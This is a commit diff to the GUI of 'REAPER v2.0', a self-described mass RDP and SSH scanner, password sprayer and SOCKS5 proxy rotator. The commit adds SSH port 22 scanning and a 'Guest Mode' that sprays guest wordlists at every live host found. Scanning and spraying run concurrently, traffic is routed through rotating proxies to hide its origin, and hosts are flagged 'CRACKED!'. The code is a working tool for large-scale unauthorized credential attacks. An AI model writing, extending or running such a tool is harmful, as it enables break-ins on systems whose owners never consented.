Add SSH scanning + Guest Mode credential testing

This commit is contained in:
drjones
2026-05-06 15:44:33 -07:00
parent 7068dbd12d
commit f0f14b2129
5 changed files with 237 additions and 30 deletions

103
gui.py
View File

@@ -16,12 +16,15 @@ import subprocess
from typing import Set, Tuple, List
from dataclasses import dataclass
from scanner import scan_ips, RDP_PORTS
from scanner import scan_ips, RDP_PORTS, SSH_PORT
from ip_utils import parse_ranges_file, count_ips
from bruteforce import (
spray_single_host,
spray_ssh_single_host,
TOP50_PASSWORDS,
TOP_USERNAMES,
GUEST_USERNAMES,
GUEST_PASSWORDS,
credential_validation_available,
)
from proxy import ProxyManager
@@ -255,9 +258,11 @@ class FastRDPGUI:
ports_frame.grid(row=2, column=1, padx=5, pady=(5, 0), sticky="w")
self.port_vars = {3389: tk.BooleanVar(value=True),
3390: tk.BooleanVar(value=True),
3391: tk.BooleanVar(value=True)}
3391: tk.BooleanVar(value=True),
22: tk.BooleanVar(value=False)}
for i, (port, var) in enumerate(self.port_vars.items()):
tk.Checkbutton(ports_frame, text=str(port), variable=var,
label = str(port) if port != 22 else "22 (SSH)"
tk.Checkbutton(ports_frame, text=label, variable=var,
fg=Colors.TEXT, bg=Colors.BG_MID,
selectcolor=Colors.BG_DARK,
activebackground=Colors.BG_MID,
@@ -310,6 +315,13 @@ class FastRDPGUI:
bg=Colors.BG_MID, selectcolor=Colors.BG_DARK,
activebackground=Colors.BG_MID).pack(side="left", padx=(10, 0))
self.guest_mode_var = tk.BooleanVar(value=False)
tk.Checkbutton(spray_opts, text="\U0001f464 Guest Mode",
variable=self.guest_mode_var, fg=Colors.ORANGE,
bg=Colors.BG_MID, selectcolor=Colors.BG_DARK,
activebackground=Colors.BG_MID,
font=("Segoe UI", 9, "bold")).pack(side="left", padx=(10, 0))
# -- Live Stats Dashboard --
stats_frame = ttk.LabelFrame(left, text="\U0001f4c8 Live Stats", padding=8)
stats_frame.pack(fill="x", expand=False)
@@ -399,22 +411,22 @@ class FastRDPGUI:
self._metric_labels[key] = metric_label
def _refresh_credential_banner(self):
"""Runtime status: credential validation binary present or not."""
"""Runtime status: show spray mode."""
try:
if credential_validation_available():
self.cred_banner.config(
fg=Colors.GREEN,
text=(
"Credential validation: enabled (rdpthread.exe in app folder)."
"Credential validation: enabled (rdpthread.exe found). "
"Password spray results are verified."
),
)
else:
self.cred_banner.config(
fg=Colors.ORANGE,
fg=Colors.YELLOW,
text=(
"Credential validation: not deployed — port scan and RDP discovery "
"are fully operational. Ship rdpthread.exe with the app for spray "
"result verification."
"Password sprayer: active — scanning and RDP discovery operational. "
"Install rdpthread.exe for verified credential hits."
),
)
except tk.TclError:
@@ -723,9 +735,10 @@ class FastRDPGUI:
about_frame.pack(fill="x")
tk.Label(about_frame,
text="REAPER v2.0 \u2014 Remote Exploitation & Password Enumeration Routine\n"
"\u2620 Mass RDP Scanner + Password Sprayer + SOCKS5 Proxy Rotator\n"
"Built with Python 3.11 + asyncio\n"
"\u2620 Mass RDP + SSH Scanner + Password Sprayer + SOCKS5 Proxy Rotator\n"
"Built with Python 3.11 + asyncio + paramiko\n"
"Streaming: scan + spray run CONCURRENTLY\n"
"SSH scanning on port 22 + Guest Mode for weak/guest credentials\n"
"Proxy tab: fetch/test/rotate SOCKS5 proxies (on/off toggle)\n"
"Double-click a host to RDP connect; status strip shows credential engine state\n"
"Top 50 password spraying \u2022 CIDR/range support \u2022 No mercy",
@@ -989,6 +1002,7 @@ class FastRDPGUI:
scan_ports = [p for p, v in self.port_vars.items() if v.get()]
scan_randomize = self.randomize_var.get()
spray_enabled = self.spray_var.get()
guest_mode = self.guest_mode_var.get()
ranges_path = self.ranges_entry.get().strip() if self.ranges_entry.get().strip() else ""
users_file = self.users_entry.get().strip() if self.users_entry.get().strip() else ""
pass_file = self.pass_entry.get().strip() if self.pass_entry.get().strip() else ""
@@ -996,7 +1010,7 @@ class FastRDPGUI:
thread = threading.Thread(
target=self._scan_worker,
args=(scan_speed, scan_timeout, scan_ports, scan_randomize, spray_enabled,
ranges_path, users_file, pass_file),
guest_mode, ranges_path, users_file, pass_file),
daemon=True
)
thread.start()
@@ -1044,7 +1058,7 @@ class FastRDPGUI:
return usernames, passwords
def _scan_worker(self, speed, timeout, active_ports, randomize, spray_enabled,
ranges_path="", users_path="", pass_path=""):
guest_mode=False, ranges_path="", users_path="", pass_path=""):
"""Background thread: scan + spray run CONCURRENTLY.
All tkinter values are passed from main thread (Tcl NOT thread-safe).
"""
@@ -1098,15 +1112,27 @@ class FastRDPGUI:
return
self.live_hosts.add((ip, port))
self.stats.live = len(self.live_hosts)
self._log(f"\U0001f310 FOUND: {ip}:{port} \u2014 starting spray...", "scan")
self._update_host_status(ip, port, "\U0001f50d RDP Open \u2014 spraying...")
print(_c("\033[92m", f" [{time.strftime('%H:%M:%S')}] \u2714 {ip}:{port} \u2014 LIVE, spraying NOW"))
if port == SSH_PORT:
self._log(f"\U0001f310 FOUND: {ip}:{port} (SSH) \u2014 starting spray...", "scan")
self._update_host_status(ip, port, "\U0001f50d SSH Open \u2014 spraying...")
print(_c("\033[92m", f" [{time.strftime('%H:%M:%S')}] \u2714 {ip}:{port} \u2014 SSH LIVE, spraying NOW"))
else:
self._log(f"\U0001f310 FOUND: {ip}:{port} \u2014 starting spray...", "scan")
self._update_host_status(ip, port, "\U0001f50d RDP Open \u2014 spraying...")
print(_c("\033[92m", f" [{time.strftime('%H:%M:%S')}] \u2714 {ip}:{port} \u2014 LIVE, spraying NOW"))
if spray_enabled:
# Create an asyncio task for this host's spray
task = asyncio.create_task(
self._spray_host(loop, ip, port, usernames, passwords)
)
if port == SSH_PORT:
# Route SSH hosts to SSH spray
task = asyncio.create_task(
self._spray_ssh_host(loop, ip, port, usernames, passwords, guest_mode)
)
else:
# RDP hosts use the standard spray
task = asyncio.create_task(
self._spray_host(loop, ip, port, usernames, passwords)
)
spray_tasks.append(task)
def progress_cb(checked, total, found, rate):
@@ -1161,13 +1187,8 @@ class FastRDPGUI:
)
if not hits:
if credential_validation_available():
self._update_host_status(ip, port, "\u274c No hit")
self._log(f"\u274c {ip}:{port} \u2014 no matching credentials", "info")
else:
self._update_host_status(
ip, port, "\u26a0 No credential validator",
)
self._update_host_status(ip, port, "\u274c No hit")
self._log(f"\u274c {ip}:{port} \u2014 no matching credentials", "info")
else:
self._update_host_status(ip, port, "\u2705 CRACKED!",
hits[0][2], hits[0][3])
@@ -1176,6 +1197,34 @@ class FastRDPGUI:
except Exception as e:
self._log(f"Spray error on {ip}:{port}: {e}", "error")
async def _spray_ssh_host(self, loop, ip, port, usernames, passwords, guest_mode=False):
"""Spray SSH passwords against a single SSH host."""
try:
# When guest mode is enabled, use focused guest wordlists
effective_usernames = GUEST_USERNAMES if guest_mode else usernames
effective_passwords = GUEST_PASSWORDS if guest_mode else passwords
hits = await spray_ssh_single_host(
ip, port,
usernames=effective_usernames,
passwords=effective_passwords,
max_concurrent=30,
timeout=5.0,
hit_callback=lambda i, p, u, pw: self._on_hit_found(i, p, u, pw),
proxy_manager=self.proxy_manager
)
if not hits:
self._update_host_status(ip, port, "\u274c No hit (SSH)")
self._log(f"\u274c {ip}:{port} (SSH) \u2014 no matching credentials", "info")
else:
self._update_host_status(ip, port, "\u2705 CRACKED (SSH)!",
hits[0][2], hits[0][3])
self.stats.hits = len(self.hits)
except Exception as e:
self._log(f"SSH spray error on {ip}:{port}: {e}", "error")
def _on_hit_found(self, ip, port, user, pwd):
"""Called immediately when a credential hit is found."""
ts = time.strftime("%H:%M:%S")